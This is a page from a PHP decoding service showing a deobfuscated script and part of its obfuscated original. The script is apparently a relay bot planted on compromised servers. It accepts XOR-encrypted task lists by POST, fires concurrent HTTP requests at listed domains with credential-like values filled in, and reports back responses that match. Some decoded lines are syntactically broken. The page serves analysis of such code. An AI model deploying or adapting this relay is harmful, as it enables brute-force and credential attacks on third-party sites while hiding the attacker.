Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x67\x74t\x67n\x6bs\x7a\x65\x76\x76"] = "\x..
Decoded Output download
<?php
${"GLOBALS"}["egttgnkszevv"] = "results";
${"GLOBALS"}["oiyeusvch"] = "tasks_options";
${"GLOBALS"}["ptlblkuvtid"] = "running";
${"GLOBALS"}["ggilmsndr"] = "tasks";
${"GLOBALS"}["wcqclhe"] = "is_matched";
${"GLOBALS"}["vjfeofwfeiq"] = "curl_handler";
${"GLOBALS"}["wihxdaallfs"] = "cookie";
${"GLOBALS"}["nbmisffhl"] = "value";
${"GLOBALS"}["ktdezdxyi"] = "replace";
${"GLOBALS"}["qlzeepsmh"] = "pattern";
${"GLOBALS"}["livjunt"] = "matches";
${"GLOBALS"}["extaqegbfto"] = "new_key";
${"GLOBALS"}["zvkvvcl"] = "new_value";
${"GLOBALS"}["genesfodpwni"] = "keys";
${"GLOBALS"}["tvugns"] = "res";
${"GLOBALS"}["gqcpapawf"] = "return";
${"GLOBALS"}["isjuipsyuxzj"] = "index";
${"GLOBALS"}["tjyxbkto"] = "name";
$yrydcwa = "tasks";
${"GLOBALS"}["kcghylsrkb"] = "tasks";
${"GLOBALS"}["brwajsjdkye"] = "results_match_regexp";
${"GLOBALS"}["gzzmrrisxf"] = "results_match_substr";
${"GLOBALS"}["okpfwlouxc"] = "cookie_params";
${"GLOBALS"}["rocmffxuxqw"] = "get_params";
${"GLOBALS"}["suyxqwqcyx"] = "domain_req_url";
${"GLOBALS"}["jdqstua"] = "task";
${"GLOBALS"}["qciumtx"] = "url_path";
${"GLOBALS"}["fmjmulerwhgk"] = "url_paths";
${"GLOBALS"}["diovxil"] = "tasks_options";
$rwbgohrjw = "tasks";
${"GLOBALS"}["dgmlwsmxwjz"] = "domain_meta";
${"GLOBALS"}["djkanm"] = "domain";
${"GLOBALS"}["xonvijjqhtd"] = "connection_timeout";
${"GLOBALS"}["hlefhmzjhym"] = "results_match_not_substr";
${"GLOBALS"}["xtlfgnb"] = "post_rawdata";
${"GLOBALS"}["spaxjdr"] = "default_headers";
${"GLOBALS"}["hvysnnx"] = "headers";
${"GLOBALS"}["inrqbvpwmx"] = "method";
${"GLOBALS"}["gpkfpvii"] = "task_option";
${"GLOBALS"}["qwasowg"] = "j";
${"GLOBALS"}["bsxsduev"] = "i";
${"GLOBALS"}["qkpczqd"] = "result";
${"GLOBALS"}["npesxlo"] = "key";
${"GLOBALS"}["wyeaofvfwf"] = "data";
${"GLOBALS"}["ceebllbcafld"] = "path";
${"GLOBALS"}["eipqotdamb"] = "file";
${"GLOBALS"}["masidnuwv"] = "all_full_paths";
${"GLOBALS"}["gglkngwkwbn"] = "files";
${"GLOBALS"}["nlbdqjwpa"] = "paths";
${"GLOBALS"}["qqhayhtswb"] = "task_urls_option";
${"GLOBALS"}["ogoihj"] = "mh";
class Check
{
public static function check_relay()
{
if (isset($_POST["checks"]))
{
${${"GLOBALS"}["ogoihj"]} = curl_multi_init();
if (version_compare(PHP_VERSION, "5.3.0") < 0)
{
echo"%%vda8303j9" . "f3pdosjflnsd890g%%";
exit();
}echo"%%NOGIPfdspFJdf" . "iPSmnSpojpqwoDPFJP%%";
exit();
}
}
}
class TaskGenerator
{
private static$default_headers = array('Accept-Language: en-US,en;q=0.5', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36',);
private static$default_results = Array();
private static function get_all_full_paths($task_urls_option)
{
$tklcofp = "task_urls_option";
$frzbuv = "task_urls_option";
if (empty(${$frzbuv}["urls"]))
{
return Array();
}${"GLOBALS"}["uobjmtttrrf"] = "files";
${${"GLOBALS"}["qqhayhtswb"]} = ${${"GLOBALS"}["qqhayhtswb"]}["urls"];
$rfpruzxvoyy = "task_urls_option";
${"GLOBALS"}["jcjaynojprn"] = "task_urls_option";
${"GLOBALS"}["ogyqpnmks"] = "task_urls_option";
if (isset(${${"GLOBALS"}["qqhayhtswb"]}["paths"]) && !empty(${$rfpruzxvoyy}["paths"]) && is_array(${$tklcofp}["paths"]))
{
${"GLOBALS"}["mhwbxuxhob"] = "paths";
${${"GLOBALS"}["mhwbxuxhob"]} = ${${"GLOBALS"}["qqhayhtswb"]}["paths"];
} else
{
${${"GLOBALS"}["nlbdqjwpa"]} = Array();
}if (isset(${${"GLOBALS"}["jcjaynojprn"]}["files"]) && !empty(${${"GLOBALS"}["ogyqpnmks"]}["files"]) && is_array(${${"GLOBALS"}["qqhayhtswb"]}["files"]))
{
${"GLOBALS"}["wruhilkvmcc"] = "task_urls_option";
${"GLOBALS"}["gjuveyxiuc"] = "files";
${${"GLOBALS"}["gjuveyxiuc"]} = ${${"GLOBALS"}["wruhilkvmcc"]}["files"];
} else
{
${${"GLOBALS"}["gglkngwkwbn"]} = Array();
}${${"GLOBALS"}["masidnuwv"]} = Array();
if (${${"GLOBALS"}["nlbdqjwpa"]})
{
${"GLOBALS"}["pfwbjqgxt"] = "path";
foreach (${${"GLOBALS"}["nlbdqjwpa"]} as ${${"GLOBALS"}["pfwbjqgxt"]})
{
$rzoidqg = "files";
if (${$rzoidqg})
{
${"GLOBALS"}["jxjaodtzgtgj"] = "files";
foreach (${${"GLOBALS"}["jxjaodtzgtgj"]} as ${${"GLOBALS"}["eipqotdamb"]})
{
${"GLOBALS"}["enffuxrbtx"] = "all_full_paths";
${"GLOBALS"}["trnvopmzv"] = "path";
$srhocxxj = "file";
${${"GLOBALS"}["enffuxrbtx"]}[] = ${${"GLOBALS"}["trnvopmzv"]} . ${$srhocxxj};
}
} else
{
${${"GLOBALS"}["masidnuwv"]}[] = ${${"GLOBALS"}["ceebllbcafld"]};
}
}
} else if (${${"GLOBALS"}["uobjmtttrrf"]})
{
$lpvccbxl = "files";
${"GLOBALS"}["deygthuu"] = "file";
foreach (${$lpvccbxl} as ${${"GLOBALS"}["deygthuu"]})
{
${${"GLOBALS"}["masidnuwv"]}[] = ${${"GLOBALS"}["eipqotdamb"]};
}
}return${${"GLOBALS"}["masidnuwv"]};
}
public static function decrypt_data($data)
{
${${"GLOBALS"}["wyeaofvfwf"]} = base64_decode(${${"GLOBALS"}["wyeaofvfwf"]});
${${"GLOBALS"}["npesxlo"]} = "fcf01cb6-d298-4251-97e9-1fd0a71558b9";
${${"GLOBALS"}["qkpczqd"]} = "";
for (${${"GLOBALS"}["bsxsduev"]} = 0; ${${"GLOBALS"}["bsxsduev"]} < strlen(${${"GLOBALS"}["wyeaofvfwf"]});)
{
${"GLOBALS"}["aiqtgolmdcx"] = "key";
${"GLOBALS"}["qlkcxuhy"] = "i";
${"GLOBALS"}["umoxmmf"] = "j";
for (${${"GLOBALS"}["qwasowg"]} = 0; ${${"GLOBALS"}["qwasowg"]} < strlen(${${"GLOBALS"}["aiqtgolmdcx"]}) && ${${"GLOBALS"}["bsxsduev"]} < strlen(${${"GLOBALS"}["wyeaofvfwf"]}); ${${"GLOBALS"}["umoxmmf"]} ++, ${${"GLOBALS"}["qlkcxuhy"]} ++)
{
${"GLOBALS"}["sokgocawkqz"] = "key";
${"GLOBALS"}["fqjlovc"] = "result";
${${"GLOBALS"}["fqjlovc"]} .= chr(ord(${${"GLOBALS"}["wyeaofvfwf"]}[${${"GLOBALS"}["bsxsduev"]}]) ^ ord(${${"GLOBALS"}["sokgocawkqz"]}[${${"GLOBALS"}["qwasowg"]}]));
}
}return${${"GLOBALS"}["qkpczqd"]};
}
public static function decrypt_task_option($data)
{
$fxwonngt = "task_option";
${"GLOBALS"}["lugxdoi"] = "data";
${${"GLOBALS"}["wyeaofvfwf"]} = TaskGenerator::decrypt_data(${${"GLOBALS"}["lugxdoi"]});
${${"GLOBALS"}["gpkfpvii"]} = unserialize(${${"GLOBALS"}["wyeaofvfwf"]});
return${$fxwonngt};
}
public static function generate($task_option)
{
$kzjdevc = "task_option";
${"GLOBALS"}["khmoffa"] = "task_option";
${"GLOBALS"}["jpzbywlrao"] = "tasks";
$hvsfxjxrjf = "url_paths";
${"GLOBALS"}["qsbvytnc"] = "get_params";
$crdqzgo = "request_timeout";
${"GLOBALS"}["cvsgbcjfuql"] = "results_match_substr";
${"GLOBALS"}["yibslwakes"] = "task_option";
$jdsjthnfk = "task_option";
${"GLOBALS"}["ghwdhdl"] = "default_results";
$gtcmlkxsfm = "task_option";
${"GLOBALS"}["agukmwevlo"] = "task_option";
$mlkewelcj = "task_option";
${"GLOBALS"}["uvincwmymmtr"] = "task_option";
$eysknod = "post_params";
${"GLOBALS"}["ecirurq"] = "results_match_regexp";
$lekzdemkmut = "results_return_value";
$zgrujzhexz = "task_option";
${"GLOBALS"}["djcnvvdor"] = "task_option";
$lppfcrdsli = "task_option";
${${"GLOBALS"}["jpzbywlrao"]} = array();
$qpilnukqe = "task_option";
${${"GLOBALS"}["inrqbvpwmx"]} = !empty(${$zgrujzhexz}["request"]) ? ${$kzjdevc}["request"] : "GET";
$tkyhhqnlecb = "task_option";
${"GLOBALS"}["eeckdylbfdpx"] = "tasks";
${${"GLOBALS"}["hvysnnx"]} = !empty(${$gtcmlkxsfm}["headers"]) ? ${$lppfcrdsli}["headers"] : TaskGenerator::${${"GLOBALS"}["spaxjdr"]};
${"GLOBALS"}["imbpgebdeprf"] = "task_option";
$pgojhux = "task_option";
${${"GLOBALS"}["xtlfgnb"]} = !empty(${${"GLOBALS"}["agukmwevlo"]}["post_rawdata"]) ? ${$jdsjthnfk}["post_rawdata"] : NULL;
$dxiymweq = "task_option";
${$eysknod} = !empty(${${"GLOBALS"}["gpkfpvii"]}["post_params"]) ? ${${"GLOBALS"}["imbpgebdeprf"]}["post_params"] : Array();
${${"GLOBALS"}["qsbvytnc"]} = !empty(${${"GLOBALS"}["khmoffa"]}["get_params"]) ? ${${"GLOBALS"}["djcnvvdor"]}["get_params"] : Array();
${"GLOBALS"}["ocwdpgw"] = "task_option";
$xrltfejwvrb = "cookie_params";
${$xrltfejwvrb} = !empty(${${"GLOBALS"}["gpkfpvii"]}["cookie_params"]) ? ${$pgojhux}["cookie_params"] : Array();
${${"GLOBALS"}["hlefhmzjhym"]} = !empty(${${"GLOBALS"}["gpkfpvii"]}["math_results"]["not_substr"]) ? ${${"GLOBALS"}["gpkfpvii"]}["math_results"]["substr"] : "";
$pemtocpbfml = "task_option";
${${"GLOBALS"}["cvsgbcjfuql"]} = !empty(${${"GLOBALS"}["gpkfpvii"]}["math_results"]["substr"]) ? ${${"GLOBALS"}["gpkfpvii"]}["math_results"]["substr"] : "";
${${"GLOBALS"}["ecirurq"]} = !empty(${${"GLOBALS"}["gpkfpvii"]}["math_results"]["regexp"]) ? ${$pemtocpbfml}["math_results"]["regexp"] : "";
${$crdqzgo} = !empty(${${"GLOBALS"}["gpkfpvii"]}["request_timeout"]) ? intval(${$mlkewelcj}["request_timeout"]) : 15;
${${"GLOBALS"}["xonvijjqhtd"]} = !empty(${${"GLOBALS"}["ocwdpgw"]}["connection_timeout"]) ? intval(${${"GLOBALS"}["gpkfpvii"]}["connection_timeout"]) : 5;
${$lekzdemkmut} = !empty(${${"GLOBALS"}["yibslwakes"]}["return_results"]) ? ${$tkyhhqnlecb}["return_results"] : TaskGenerator::${${"GLOBALS"}["ghwdhdl"]};
${$hvsfxjxrjf} = TaskGenerator::get_all_full_paths(${$dxiymweq});
if (isset(${$qpilnukqe}["urls"]) && !empty(${${"GLOBALS"}["uvincwmymmtr"]}["urls"]))
{
foreach (${${"GLOBALS"}["gpkfpvii"]}["urls"]["domains"]as ${${"GLOBALS"}["djkanm"]} => ${${"GLOBALS"}["dgmlwsmxwjz"]})
{
$rgwbsgvo = "url_path";
foreach (${${"GLOBALS"}["fmjmulerwhgk"]} as ${$rgwbsgvo})
{
${"GLOBALS"}["lzgfvsqzftgp"] = "domain";
$ysyktutrog = "connection_timeout";
$ewokighh = "domain_req_url";
${"GLOBALS"}["nuvsfaq"] = "task";
${"GLOBALS"}["rpxxgvghfcf"] = "domain";
${$ewokighh} = ${${"GLOBALS"}["rpxxgvghfcf"]} . ${${"GLOBALS"}["qciumtx"]};
${${"GLOBALS"}["jdqstua"]} = new Task();
$task->method = ${${"GLOBALS"}["inrqbvpwmx"]};
$yfmttjv = "request_timeout";
$task->domain = ${${"GLOBALS"}["lzgfvsqzftgp"]};
$uwziytx = "results_return_value";
${"GLOBALS"}["jlnvucreg"] = "post_params";
$task->url = ${${"GLOBALS"}["suyxqwqcyx"]};
$task->request_timeout = ${$yfmttjv};
$task->connection_timeout = ${$ysyktutrog};
$task->headers = ${${"GLOBALS"}["hvysnnx"]};
$phwntqcmjdk = "task_option";
${"GLOBALS"}["spuxdxi"] = "tasks";
$task->post_rawdata = ${${"GLOBALS"}["xtlfgnb"]};
$task->post_params = ${${"GLOBALS"}["jlnvucreg"]};
$task->get_params = ${${"GLOBALS"}["rocmffxuxqw"]};
$task->cookie_params = ${${"GLOBALS"}["okpfwlouxc"]};
${"GLOBALS"}["ovwwkerwkccv"] = "results_match_not_substr";
$task->domain_meta = ${${"GLOBALS"}["dgmlwsmxwjz"]};
if (isset(${${"GLOBALS"}["gpkfpvii"]}["meta"]))
$task->global_meta = ${$phwntqcmjdk}["meta"];$task->results_match_not_substr = ${${"GLOBALS"}["ovwwkerwkccv"]};
$task->results_match_substr = ${${"GLOBALS"}["gzzmrrisxf"]};
$task->results_match_regexp = ${${"GLOBALS"}["brwajsjdkye"]};
$task->results_return_value = ${$uwziytx};
${${"GLOBALS"}["spuxdxi"]}[] = ${${"GLOBALS"}["nuvsfaq"]};
}
}
}return${${"GLOBALS"}["eeckdylbfdpx"]};
}
}
class Task
{
$method;
$domain;
$url;
$headers;
$post_rawdata;
$post_params;
$get_params;
$cookie_params;
$domain_meta;
$global_meta;
$macros_ctx;
$results_match_substr;
$results_match_regexp;
$results_return_value;
$request_timeout;
$connection_timeout;
$curl_handler = NULL;
$result = Array();
private function get_macro_value($name)
{
${"GLOBALS"}["lfqrooxcs"] = "name";
${"GLOBALS"}["twywvpnstk"] = "return";
$stsreqxfgy = "return";
$vzlpxoi = "name";
${$stsreqxfgy} = "";
if (isset($this->macros_ctx[${${"GLOBALS"}["lfqrooxcs"]}]))
{
return$this->macros_ctx[${${"GLOBALS"}["tjyxbkto"]}];
}if (!empty($this->domain_meta[${${"GLOBALS"}["tjyxbkto"]}]))
{
$zcsgrqlyxbgo = "name";
${"GLOBALS"}["xldbjkkxynzj"] = "index";
$ihzzypsgpx = "return";
${${"GLOBALS"}["xldbjkkxynzj"]} = array_rand($this->domain_meta[${$zcsgrqlyxbgo}]);
${"GLOBALS"}["dybbgjwmbi"] = "return";
${$ihzzypsgpx} = $this->domain_meta[${${"GLOBALS"}["tjyxbkto"]}][${${"GLOBALS"}["isjuipsyuxzj"]}];
$this->macros_ctx[${${"GLOBALS"}["tjyxbkto"]}] = ${${"GLOBALS"}["dybbgjwmbi"]};
unset($this->domain_meta[${${"GLOBALS"}["tjyxbkto"]}][${${"GLOBALS"}["isjuipsyuxzj"]}]);
} else if (!empty($this->global_meta[${$vzlpxoi}]))
{
$plmjplhohd = "return";
${"GLOBALS"}["dufheie"] = "name";
${"GLOBALS"}["pjtltvtcuzr"] = "name";
$xtduysd = "index";
${${"GLOBALS"}["isjuipsyuxzj"]} = array_rand($this->global_meta[${${"GLOBALS"}["pjtltvtcuzr"]}]);
${$plmjplhohd} = $this->global_meta[${${"GLOBALS"}["tjyxbkto"]}][${$xtduysd}];
$this->macros_ctx[${${"GLOBALS"}["dufheie"]}] = ${${"GLOBALS"}["gqcpapawf"]};
${"GLOBALS"}["koypqan"] = "index";
unset($this->global_meta[${${"GLOBALS"}["tjyxbkto"]}][${${"GLOBALS"}["koypqan"]}]);
}return${${"GLOBALS"}["twywvpnstk"]};
}
private function process_macros($data)
{
${"GLOBALS"}["lqokxca"] = "data";
if (is_array(${${"GLOBALS"}["lqokxca"]}))
{
${"GLOBALS"}["hbsfbjwrnhw"] = "keys";
${"GLOBALS"}["xqwduost"] = "data";
${"GLOBALS"}["tpnurkew"] = "key";
$fhtfgjgyyje = "res";
${${"GLOBALS"}["tvugns"]} = Array();
${${"GLOBALS"}["hbsfbjwrnhw"]} = array_keys(${${"GLOBALS"}["xqwduost"]});
foreach (${${"GLOBALS"}["genesfodpwni"]} as ${${"GLOBALS"}["tpnurkew"]})
{
$vxdeyrrnkj = "new_key";
$fqvleyyb = "key";
${$vxdeyrrnkj} = $this->process_macros(${${"GLOBALS"}["npesxlo"]});
${${"GLOBALS"}["zvkvvcl"]} = $this->process_macros(${${"GLOBALS"}["wyeaofvfwf"]}[${$fqvleyyb}]);
${${"GLOBALS"}["tvugns"]}[${${"GLOBALS"}["extaqegbfto"]}] = ${${"GLOBALS"}["zvkvvcl"]};
}return${$fhtfgjgyyje};
} else if (is_string(${${"GLOBALS"}["wyeaofvfwf"]}))
{
${"GLOBALS"}["pxgwygutgue"] = "data";
$vjplag = "matches";
preg_match_all("/\{\{(.*?)\}\}/", ${${"GLOBALS"}["pxgwygutgue"]}, ${${"GLOBALS"}["livjunt"]});
for (${${"GLOBALS"}["bsxsduev"]} = 0; ${${"GLOBALS"}["bsxsduev"]} < sizeof(${$vjplag}[0]); ${${"GLOBALS"}["bsxsduev"]} ++)
{
${${"GLOBALS"}["qlzeepsmh"]} = ${${"GLOBALS"}["livjunt"]}[0][${${"GLOBALS"}["bsxsduev"]}];
${"GLOBALS"}["vynyvrarjcd"] = "data";
${"GLOBALS"}["cksuwmilykim"] = "i";
$bxvdliuuchl = "matches";
${${"GLOBALS"}["tjyxbkto"]} = ${$bxvdliuuchl}[1][${${"GLOBALS"}["cksuwmilykim"]}];
${"GLOBALS"}["cojnsjjlr"] = "pattern";
${${"GLOBALS"}["ktdezdxyi"]} = $this->get_macro_value(${${"GLOBALS"}["tjyxbkto"]});
${${"GLOBALS"}["wyeaofvfwf"]} = str_replace(${${"GLOBALS"}["cojnsjjlr"]}, ${${"GLOBALS"}["ktdezdxyi"]}, ${${"GLOBALS"}["vynyvrarjcd"]});
}return${${"GLOBALS"}["wyeaofvfwf"]};
} else
{
return${${"GLOBALS"}["wyeaofvfwf"]};
}
}
private function gen_headers()
{
$xnvkxysuq = "cookie";
${"GLOBALS"}["deeqpaeum"] = "headers";
$eqmfyujglnpu = "res";
${"GLOBALS"}["ciosby"] = "headers";
${"GLOBALS"}["qjyryyf"] = "cookie";
${${"GLOBALS"}["tvugns"]} = Array();
${${"GLOBALS"}["ciosby"]} = $this->process_macros($this->headers);
${${"GLOBALS"}["okpfwlouxc"]} = $this->process_macros($this->cookie_params);
foreach (${${"GLOBALS"}["deeqpaeum"]} as ${${"GLOBALS"}["npesxlo"]} => ${${"GLOBALS"}["nbmisffhl"]})
{
$bbypmy = "res";
${"GLOBALS"}["brzjvjrpw"] = "key";
${$bbypmy}[] = ${${"GLOBALS"}["brzjvjrpw"]} . ": " . ${${"GLOBALS"}["nbmisffhl"]};
}${${"GLOBALS"}["qjyryyf"]} = "Cookie: ";
foreach (${${"GLOBALS"}["okpfwlouxc"]} as ${${"GLOBALS"}["npesxlo"]} => ${${"GLOBALS"}["nbmisffhl"]})
{
$lbatwafry = "key";
${${"GLOBALS"}["wihxdaallfs"]} .= ${$lbatwafry} . "=" . ${${"GLOBALS"}["nbmisffhl"]} . ";";
}${${"GLOBALS"}["tvugns"]}[] = ${$xnvkxysuq};
return${$eqmfyujglnpu};
}
public function get_curl_handler()
{
$pdhjgrudbw = "curl_handler";
${"GLOBALS"}["jixyzxrxw"] = "curl_handler";
if (!empty($this->curl_handler))
{
return$this->curl_handler;
}${"GLOBALS"}["dqlmes"] = "url";
if (!empty($this->get_params))
{
${"GLOBALS"}["tdyptqf"] = "url";
${${"GLOBALS"}["tdyptqf"]} = $this->url . "?" . http_build_query($this->process_macros($this->get_params));
} else
{
$igresj = "url";
${$igresj} = $this->url;
}${${"GLOBALS"}["vjfeofwfeiq"]} = curl_init(${${"GLOBALS"}["dqlmes"]});
curl_setopt(${$pdhjgrudbw}, CURLOPT_RETURNTRANSFER, true);
${"GLOBALS"}["lqusprd"] = "curl_handler";
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_CONNECTTIMEOUT, $this->connection_timeout);
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_TIMEOUT, $this->request_timeout);
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLINFO_HEADER_OUT, true);
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_HEADER, 1);
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_VERBOSE, 1);
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_FOLLOWLOCATION, 1);
if ($this->headers)
{
${"GLOBALS"}["kthyyxil"] = "curl_handler";
curl_setopt(${${"GLOBALS"}["kthyyxil"]}, CURLOPT_HTTPHEADER, $this->gen_headers());
}if (!empty($this->post_params) || !empty($this->post_rawdata))
{
if (!empty($this->post_rawdata))
{
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_POSTFIELDS, $this->process_macros($this->post_rawdata));
} else
{
${"GLOBALS"}["dbmtorkv"] = "curl_handler";
curl_setopt(${${"GLOBALS"}["dbmtorkv"]}, CURLOPT_POSTFIELDS, http_build_query($this->process_macros($this->post_params)));
}curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_POST, 1);
}$nlsklrvumbr = "curl_handler";
curl_setopt(${${"GLOBALS"}["vjfeofwfeiq"]}, CURLOPT_BUFFERSIZE, 128);
curl_setopt(${$nlsklrvumbr}, CURLOPT_NOPROGRESS, false);
$this->curl_handler = ${${"GLOBALS"}["lqusprd"]};
return${${"GLOBALS"}["jixyzxrxw"]};
}
public function parse_result($result)
{
${${"GLOBALS"}["wcqclhe"]} = FALSE;
if (!empty($this->results_match_substr))
{
if (strpos(${${"GLOBALS"}["qkpczqd"]}, $this->results_match_substr) !== FALSE)
{
${"GLOBALS"}["fcqjkcm"] = "is_matched";
${${"GLOBALS"}["fcqjkcm"]} = TRUE;
}
}if (!empty($this->results_match_regexp))
{
$ubhzwilgu = "result";
if (preg_match($this->results_match_regexp, ${$ubhzwilgu}))
{
${${"GLOBALS"}["wcqclhe"]} = TRUE;
}
}if (!empty($this->results_match_not_substr))
{
if (strpos(${${"GLOBALS"}["qkpczqd"]}, $this->results_match_not_substr) !== FALSE)
{
${${"GLOBALS"}["wcqclhe"]} = FALSE;
}
}if (${${"GLOBALS"}["wcqclhe"]})
{
$this->result["domain"] = $this->domain;
$this->result["url"] = $this->url;
if (in_array("macros", $this->results_return_value))
{
$this->result["macros"] = $this->macros_ctx;
}if (in_array("post_param", $this->results_return_value))
{
if (!empty($this->post_rawdata))
{
$this->result["post_param"] = $this->post_rawdata;
} else
{
$this->result["post_param"] = $this->post_params;
}
}if (in_array("return_data", $this->results_return_value))
{
$this->result["return_data"] = ${${"GLOBALS"}["qkpczqd"]};
}
}return$this->result;
}
public function get_result()
{
return$this->result;
}
}
class TaskExecutor
{
public static function run($tasks, $threads)
{
${"GLOBALS"}["ekstkgnnfmg"] = "tasks";
${"GLOBALS"}["ltmxih"] = "tasks";
$tbkbeiwu = "task";
$icjpelu = "mh";
$umqldqtmx = "task";
${$icjpelu} = curl_multi_init();
foreach (${${"GLOBALS"}["ggilmsndr"]} as ${$umqldqtmx})
{
${"GLOBALS"}["lncucfrxhd"] = "mh";
curl_multi_add_handle(${${"GLOBALS"}["lncucfrxhd"]}, $task->get_curl_handler());
}${${"GLOBALS"}["ptlblkuvtid"]} = NULL;
${"GLOBALS"}["ubmuwnftgy"] = "mh";
do
{
$myqurfwhayvr = "mh";
curl_multi_exec(${$myqurfwhayvr}, ${${"GLOBALS"}["ptlblkuvtid"]});
} while (${${"GLOBALS"}["ptlblkuvtid"]} > 0);
foreach (${${"GLOBALS"}["ltmxih"]} as ${$tbkbeiwu})
{
$ejijibakifk = "mh";
$task->parse_result(curl_multi_getcontent($task->get_curl_handler()));
curl_multi_remove_handle(${$ejijibakifk}, $task->get_curl_handler());
}curl_multi_close(${${"GLOBALS"}["ubmuwnftgy"]});
return${${"GLOBALS"}["ekstkgnnfmg"]};
}
}
${${"GLOBALS"}["oiyeusvch"]} = TaskGenerator::decrypt_task_option($_POST["request_option"]);
if (!${${"GLOBALS"}["diovxil"]})
{
exit();
}${${"GLOBALS"}["kcghylsrkb"]} = TaskGenerator::generate(${${"GLOBALS"}["oiyeusvch"]});
${$rwbgohrjw} = TaskExecutor::run(${$yrydcwa}, -1);
${${"GLOBALS"}["egttgnkszevv"]} = Array();
foreach (${${"GLOBALS"}["ggilmsndr"]} as ${${"GLOBALS"}["jdqstua"]})
{
$pyuydwjmqnvj = "result";
${$pyuydwjmqnvj} = $task->get_result();
if (!empty(${${"GLOBALS"}["qkpczqd"]}))
{
${"GLOBALS"}["gnlrjrmkzy"] = "results";
${${"GLOBALS"}["gnlrjrmkzy"]}[] = ${${"GLOBALS"}["qkpczqd"]};
}
}echo"%%%NDOS039" . "dNDIOF%%%" . serialize(${${"GLOBALS"}["egttgnkszevv"]}) . "%%%mfpODPM" . "EWpo345ODf%%%" . PHP_EOL;
?>
Did this file decode correctly?
Original Code
<?php
${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x67\x74t\x67n\x6bs\x7a\x65\x76\x76"] = "\x72e\x73\x75l\x74\x73";
${"\x47\x4c\x4f\x42\x41\x4cS"}["oi\x79\x65\x75s\x76\x63\x68"] = "\x74\x61sk\x73\x5f\x6f\x70\x74\x69o\x6e\x73";
${"\x47\x4c\x4f\x42\x41LS"}["\x70t\x6cb\x6c\x6b\x75\x76t\x69d"] = "\x72\x75\x6e\x6e\x69\x6eg";
${"\x47LO\x42ALS"}["\x67\x67i\x6c\x6d\x73nd\x72"] = "t\x61\x73\x6bs";
${"GL\x4f\x42\x41\x4cS"}["\x77\x63\x71\x63l\x68\x65"] = "i\x73\x5fm\x61\x74\x63\x68e\x64";
${"G\x4cOB\x41L\x53"}["\x76\x6afe\x6f\x66\x77f\x65\x69\x71"] = "c\x75\x72l_\x68a\x6e\x64\x6c\x65\x72";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77i\x68x\x64aallfs"] = "cookie";
${"\x47\x4cO\x42\x41\x4c\x53"}["n\x62\x6di\x73f\x66\x68\x6c"] = "\x76al\x75\x65";
${"\x47\x4c\x4f\x42A\x4c\x53"}["k\x74\x64e\x7adxyi"] = "\x72\x65\x70\x6cac\x65";
${"\x47\x4c\x4fB\x41\x4cS"}["q\x6c\x7a\x65\x65ps\x6d\x68"] = "\x70\x61t\x74\x65\x72n";
${"\x47\x4c\x4f\x42AL\x53"}["li\x76\x6au\x6e\x74"] = "\x6d\x61tc\x68\x65\x73";
${"G\x4cO\x42A\x4c\x53"}["\x65\x78ta\x71e\x67b\x66\x74o"] = "\x6e\x65\x77\x5f\x6bey";
${"\x47L\x4f\x42A\x4c\x53"}["\x7a\x76\x6b\x76v\x63\x6c"] = "\x6eew\x5f\x76\x61\x6cu\x65";
${"\x47\x4cOB\x41\x4c\x53"}["\x67e\x6e\x65s\x66\x6fdpw\x6e\x69"] = "k\x65\x79\x73";
${"\x47\x4cO\x42A\x4c\x53"}["t\x76\x75\x67\x6es"] = "\x72\x65\x73";
${"\x47LO\x42A\x4cS"}["\x67q\x63p\x61\x70\x61wf"] = "\x72\x65\x74u\x72\x6e";
${"G\x4c\x4fBA\x4c\x53"}["\x69s\x6a\x75i\x70sy\x75\x78\x7aj"] = "\x69\x6e\x64\x65\x78";
${"\x47\x4cOB\x41\x4c\x53"}["t\x6a\x79\x78\x62\x6bt\x6f"] = "\x6e\x61m\x65";
$yrydcwa = "\x74\x61\x73k\x73";
${"GL\x4f\x42\x41\x4c\x53"}["\x6bc\x67h\x79\x6csr\x6bb"] = "\x74\x61s\x6bs";
${"\x47\x4c\x4f\x42A\x4cS"}["\x62\x72waj\x73j\x64ky\x65"] = "r\x65\x73\x75\x6c\x74\x73\x5fm\x61\x74\x63h\x5f\x72e\x67e\x78\x70";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x7a\x7a\x6d\x72ri\x73\x78\x66"] = "\x72\x65s\x75\x6ct\x73\x5f\x6dat\x63\x68\x5f\x73u\x62\x73\x74r";
${"\x47L\x4f\x42\x41L\x53"}["\x6f\x6bp\x66\x77l\x6f\x75\x78\x63"] = "\x63\x6fo\x6bi\x65\x5f\x70\x61\x72a\x6ds";
${"G\x4cOB\x41L\x53"}["\x72\x6f\x63\x6df\x66\x78\x75x\x71w"] = "g\x65t\x5f\x70\x61\x72\x61\x6ds";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x75\x79x\x71w\x71\x63\x79x"] = "d\x6f\x6dain_\x72\x65q\x5f\x75\x72\x6c";
${"\x47\x4c\x4f\x42\x41LS"}["\x6ad\x71\x73\x74\x75\x61"] = "\x74\x61\x73k";
${"\x47\x4cOB\x41L\x53"}["\x71ci\x75\x6d\x74\x78"] = "\x75r\x6c_pat\x68";
${"\x47\x4cOB\x41\x4c\x53"}["\x66\x6d\x6a\x6d\x75\x6c\x65\x72\x77hg\x6b"] = "\x75r\x6c\x5f\x70\x61t\x68s";
${"G\x4c\x4f\x42\x41L\x53"}["\x64i\x6fvx\x69l"] = "\x74\x61sks\x5fop\x74\x69\x6fn\x73";
$rwbgohrjw = "\x74\x61s\x6bs";
